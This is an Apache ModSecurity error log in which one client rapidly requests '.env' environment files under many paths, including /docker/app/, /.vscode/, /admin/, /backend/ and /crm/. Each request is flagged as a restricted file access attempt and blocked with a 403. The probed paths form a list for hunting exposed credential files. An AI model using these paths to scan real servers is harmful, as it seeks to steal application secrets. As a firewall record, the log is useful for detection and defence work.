[Sat Nov 29 02:43:13.537516 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-QAAAAAY&quot;]
[Sat Nov 29 02:43:13.537734 2025] [:error] [pid 395860] [client 195.178.110.155:49338] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aSpPsWGVbW32jAuRdZj-QAAAAAY&quot;]
[Sat Nov 29 02:43:13.605391 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-gAAAAs&quot;]
[Sat Nov 29 02:43:13.605706 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-gAAAAs&quot;]
[Sat Nov 29 02:43:13.605893 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-gAAAAs&quot;]
[Sat Nov 29 02:43:13.627866 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-wAAAAs&quot;]
[Sat Nov 29 02:43:13.628212 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-wAAAAs&quot;]
[Sat Nov 29 02:43:13.628457 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ-wAAAAs&quot;]
[Sat Nov 29 02:43:13.651763 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_AAAAAs&quot;]
[Sat Nov 29 02:43:13.652014 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_AAAAAs&quot;]
[Sat Nov 29 02:43:13.652217 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_AAAAAs&quot;]
[Sat Nov 29 02:43:13.674220 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_QAAAAs&quot;]
[Sat Nov 29 02:43:13.674607 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_QAAAAs&quot;]
[Sat Nov 29 02:43:13.674899 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_QAAAAs&quot;]
[Sat Nov 29 02:43:13.696382 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_gAAAAs&quot;]
[Sat Nov 29 02:43:13.696750 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_gAAAAs&quot;]
[Sat Nov 29 02:43:13.696977 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_gAAAAs&quot;]
[Sat Nov 29 02:43:13.719193 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_wAAAAs&quot;]
[Sat Nov 29 02:43:13.719427 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_wAAAAs&quot;]
[Sat Nov 29 02:43:13.719642 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuJ_wAAAAs&quot;]
[Sat Nov 29 02:43:13.746077 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuKAAAAAAs&quot;]
[Sat Nov 29 02:43:13.746481 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuKAAAAAAs&quot;]
[Sat Nov 29 02:43:13.746757 2025] [:error] [pid 395887] [client 195.178.110.155:49354] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSpPsTRmtvrSM4WZBRuKAAAAAAs&quot;]
[Sat Nov 29 02:43:13.849213 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAQAAAAI&quot;]
[Sat Nov 29 02:43:13.849453 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAQAAAAI&quot;]
[Sat Nov 29 02:43:13.849657 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAQAAAAI&quot;]
[Sat Nov 29 02:43:13.871830 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAgAAAAI&quot;]
[Sat Nov 29 02:43:13.872176 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAgAAAAI&quot;]
[Sat Nov 29 02:43:13.872429 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAgAAAAI&quot;]
[Sat Nov 29 02:43:13.894441 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAwAAAAI&quot;]
[Sat Nov 29 02:43:13.894795 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAwAAAAI&quot;]
[Sat Nov 29 02:43:13.895060 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdAwAAAAI&quot;]
[Sat Nov 29 02:43:13.916845 2025] [:error] [pid 395858] [client 195.178.110.155:49370] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aSpPsVonenFtamV5yHYdBAAAAAI&quot;]
